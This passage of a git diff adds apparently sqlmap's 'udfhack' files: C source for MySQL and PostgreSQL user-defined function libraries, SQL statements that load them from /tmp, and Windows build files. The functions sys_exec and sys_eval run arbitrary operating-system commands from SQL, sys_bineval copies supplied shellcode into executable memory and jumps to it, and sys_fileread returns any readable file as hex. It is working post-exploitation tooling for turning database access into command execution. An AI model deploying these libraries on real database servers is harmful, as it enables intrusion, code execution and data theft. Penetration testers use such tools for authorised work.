+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+
+	}
+
+	return 0;
+}
+#endif
+
+#undef fopen
+
+PG_FUNCTION_INFO_V1(sys_fileread);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	text *result_text;
+	int32 argv0_size;
+	int32 len;
+	int32 i, j;
+	char *filename;
+	char *result;
+	char *buffer;
+	char table[] = "0123456789ABCDEF";
+	FILE *file;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	filename = (char *)malloc(argv0_size + 1);
+
+	memcpy(filename, VARDATA(argv0), argv0_size);
+	filename[argv0_size] = '\0';
+	
+	file = fopen(filename, "rb");
+	if (!file)
+	{
+		PG_RETURN_NULL();
+	}
+	fseek(file, 0, SEEK_END);
+	len = ftell(file);
+	fseek(file, 0, SEEK_SET);
+
+	buffer=(char *)malloc(len + 1);
+	if (!buffer)
+	{
+		fclose(file);
+		PG_RETURN_NULL();
+	}
+
+	fread(buffer, len, 1, file);
+	fclose(file);
+
+	result = (char *)malloc(2*len + 1);
+	for (i=0, j=0; i<len; i++)
+	{
+		result[j++] = table[(buffer[i] >> 4) & 0x0f];
+		result[j++] = table[ buffer[i]	   & 0x0f];
+	}
+	result[j] = '\0';
+	
+	result_text = (text *)malloc(VARHDRSZ + strlen(result));
+#ifdef SET_VARSIZE
+	SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
+#else
+	VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
+#endif
+	memcpy(VARDATA(result_text), result, strlen(result));
+	
+	free(result);
+	free(buffer);
+	free(filename);
+
+	PG_RETURN_POINTER(result_text);
+}

extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql

@@ -0,0 +1,25 @@
+/* 
+	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2009-2010  Bernardo Damele A. G.
+	web: http://bernardodamele.blogspot.com/
+	email: [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
+CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
+CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
+CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

extra/udfhack/windows/README.txt

@@ -0,0 +1,25 @@
+Before compiling, certain enviroment variables have to be set,
+depending on the project used. For project lib_mysqludf_sys variables
+PLATFORM_SDK_DIR and MYSQL_SERVER_DIR have to be set, while for project
+lib_postgresqludf_sys variables PLATFORM_SDK_DIR and
+POSTGRESQL_SERVER_DIR.
+
+Variables:
+--------------------------------------------------------------------------
+Variable name			Variable description
+--------------------------------------------------------------------------
+PLATFORM_SDK_DIR		Directory where the Platform SDK is installed
+MYSQL_SERVER_DIR		Directory where the MySQL is installed
+POSTGRESQL_SERVER_DIR	Directory where the PostgreSQL is installed
+
+Procedure for setting environment variables:
+My Computer -> Properties -> Advanced -> Environment Variables
+User variables -> New
+
+Sample values:
+--------------------------------------------------------------------------
+Variable name			Variable value
+--------------------------------------------------------------------------
+PLATFORM_SDK_DIR		C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
+MYSQL_SERVER_DIR		C:\Program Files\MySQL\MySQL Server 5.1
+POSTGRESQL_SERVER_DIR	C:\Program Files\PostgreSQL\8.4

extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual C++ Express 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
+		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
+		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
+		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -0,0 +1,551 @@
+/* 
+	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2007  Roland Bouman 
+	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+	web: http://www.mysqludf.org/
+	email: [email protected], [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define DLLEXP __declspec(dllexport) 
+#else
+#define DLLEXP
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#ifdef STANDARD
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#ifdef __WIN__
+typedef unsigned __int64 ulonglong;
+typedef __int64 longlong;
+#else
+typedef unsigned long long ulonglong;
+typedef long long longlong;
+#endif /*__WIN__*/
+#else
+#include <my_global.h>
+#include <my_sys.h>
+#endif
+#include <mysql.h>
+#include <m_ctype.h>
+#include <m_string.h>
+#include <stdlib.h>
+
+#include <ctype.h>
+
+#ifdef HAVE_DLOPEN
+#ifdef	__cplusplus
+extern "C" {
+#endif
+
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
+
+#ifdef __WIN__
+#define SETENV(name,value)		SetEnvironmentVariable(name,value);
+#else
+#define SETENV(name,value)		setenv(name,value,1);		
+#endif
+
+DLLEXP 
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_get
+ * 
+ * Gets the value of the specified environment variable.
+ */
+DLLEXP 
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_get_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_set
+ * 
+ * Sets the value of the environment variables.
+ * This function accepts a set of name/value pairs
+ * which are then set as environment variables.
+ * Use sys_get to retrieve the value of such a variable 
+ */
+DLLEXP 
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_set_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_exec
+ * 
+ * executes the argument commandstring and returns its exit status.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_exec_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_eval
+ * 
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_eval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_bineval
+ * 
+ * executes bynary opcodes.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+DLLEXP 
+void sys_bineval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+
+#ifdef	__cplusplus
+}
+#endif
+
+/**
+ * lib_mysqludf_sys_info
+ */
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	my_bool status;
+	if(args->arg_count!=0){
+		strcpy(
+			message
+		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
+		);
+		status = 1;
+	} else {
+		status = 0;
+	}
+	return status;
+}
+
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	strcpy(result,LIBVERSION);
+	*length = strlen(LIBVERSION);
+	return result;
+}
+
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count==1
+	&&	args->arg_type[0]==STRING_RESULT){
+		initid->maybe_null = 1;
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_get_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	char* value = getenv(args->args[0]);
+	if(value == NULL){
+		*is_null = 1;
+	} else {
+		*length = strlen(value);
+	} 
+	return value;
+}
+
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count!=2){
+		strcpy(
+			message
+		,	"Expected exactly two arguments"
+		);		
+		return 1;
+	}
+	if(args->arg_type[0]!=STRING_RESULT){
+		strcpy(
+			message
+		,	"Expected string type for name parameter"
+		);		
+		return 1;
+	}
+	args->arg_type[1]=STRING_RESULT;
+	if((initid->ptr=malloc(
+		args->lengths[0]
+	+	1
+	+	args->lengths[1]
+	+	1
+	))==NULL){
+		strcpy(
+			message
+		,	"Could not allocate memory"
+		);		
+		return 1;
+	}	
+	return 0;
+}
+
+void sys_set_deinit(
+	UDF_INIT *initid
+){
+	if (initid->ptr!=NULL){
+		free(initid->ptr);
+	}
+}
+
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){	
+	char *name = initid->ptr;
+	char *value = name + args->lengths[0] + 1; 
+	memcpy(
+		name
+	,	args->args[0]
+	,	args->lengths[0]
+	);
+	*(name + args->lengths[0]) = '\0';
+	memcpy(
+		value
+	,	args->args[1]
+	,	args->lengths[1]
+	);
+	*(value + args->lengths[1]) = '\0';
+	return SETENV(name,value);		
+}
+
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_exec_deinit(
+	UDF_INIT *initid
+){
+}
+
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){
+	return system(args->args[0]);
+}
+
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_eval_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	FILE *pipe;
+	char line[1024];
+	unsigned long outlen, linelen;
+
+	result = malloc(1);
+	outlen = 0;
+
+	pipe = popen(args->args[0], "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (!(*result) || result == NULL) {
+		*is_null = 1;
+	} else {
+		result[outlen-1] = 0x00;
+		*length = strlen(result);
+	}
+
+	return result;
+}
+
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	return 0;
+}
+
+void sys_bineval_deinit(
+	UDF_INIT *initid
+){
+	
+}
+
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	int32 argv0_size;
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	argv0_size = strlen(args->args[0]);
+	len = (size_t)argv0_size;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, args->args[0], len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		return 1;
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			return 1;
+
+		strncpy((char *)addr, args->args[0], len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	return 0;
+}
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+
+	}
+
+	return 0;
+}
+#endif
+
+#endif /* HAVE_DLOPEN */

extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj

@@ -0,0 +1,192 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8,00"
+	Name="lib_mysqludf_sys"
+	ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
+	RootNamespace="lib_mysqludf_sys"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
+				PreprocessorDefinitions="HAVE_DLOPEN"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
+				GenerateDebugInformation="true"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="1"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="2"
+				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
+				PreprocessorDefinitions="HAVE_DLOPEN"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				WarningLevel="3"
+				DebugInformationFormat="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
+				GenerateDebugInformation="false"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\lib_mysqludf_sys.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual C++ Express 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_postgresqludf_sys", "lib_postgresqludf_sys\lib_postgresqludf_sys.vcproj", "{3527D58C-177A-47B3-981B-8104EBB3F943}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.ActiveCfg = Debug|Win32
+		{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.Build.0 = Debug|Win32
+		{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.ActiveCfg = Release|Win32
+		{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c

@@ -0,0 +1,274 @@
+/* 
+	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2009-2010  Bernardo Damele A. G.
+	web: http://bernardodamele.blogspot.com/
+	email: [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define _USE_32BIT_TIME_T
+#define DLLEXP __declspec(dllexport) 
+#define BUILDING_DLL 1
+#else
+#define DLLEXP
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#include <postgres.h>
+#include <fmgr.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <ctype.h>
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+#ifdef PG_MODULE_MAGIC
+PG_MODULE_MAGIC;
+#endif
+
+PG_FUNCTION_INFO_V1(sys_exec);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	int32 argv0_size;
+	int32 result = 0;
+	char *command;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	command = (char *)malloc(argv0_size + 1);
+
+	memcpy(command, VARDATA(argv0), argv0_size);
+	command[argv0_size] = '\0';
+
+	/*
+	Only if you want to log
+	elog(NOTICE, "Command execution: %s", command);
+	*/
+
+	result = system(command);
+	free(command);
+
+	PG_FREE_IF_COPY(argv0, 0);
+	PG_RETURN_INT32(result);
+}
+
+PG_FUNCTION_INFO_V1(sys_eval);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	text *result_text;
+	int32 argv0_size;
+	char *command;
+	char *result;
+	FILE *pipe;
+	char line[1024];
+	int32 outlen, linelen;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	command = (char *)malloc(argv0_size + 1);
+
+	memcpy(command, VARDATA(argv0), argv0_size);
+	command[argv0_size] = '\0';
+
+	/*
+	Only if you want to log
+	elog(NOTICE, "Command evaluated: %s", command);
+	*/
+
+	result = (char *)malloc(1);
+	outlen = 0;
+
+	pipe = popen(command, "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = (char *)realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (*result) {
+		result[outlen-1] = 0x00;
+	}
+
+	result_text = (text *)malloc(VARHDRSZ + strlen(result));
+#ifdef SET_VARSIZE
+	SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
+#else
+	VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
+#endif
+	memcpy(VARDATA(result_text), result, strlen(result));
+
+	PG_RETURN_POINTER(result_text);
+}
+
+PG_FUNCTION_INFO_V1(sys_bineval);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	int32 argv0_size;
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	len = (size_t)argv0_size;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, VARDATA(argv0), len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		PG_RETURN_INT32(1);
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			PG_RETURN_INT32(1);
+
+		strncpy((char *)addr, VARDATA(argv0), len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	PG_RETURN_INT32(0);
+}
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+
+	}
+
+	return 0;
+}
+#endif
+
+#undef fopen
+
+PG_FUNCTION_INFO_V1(sys_fileread);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	text *result_text;
+	int32 argv0_size;
+	int32 len;
+	int32 i, j;
+	char *filename;
+	char *result;
+	char *buffer;
+	char table[] = "0123456789ABCDEF";
+	FILE *file;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	filename = (char *)malloc(argv0_size + 1);
+
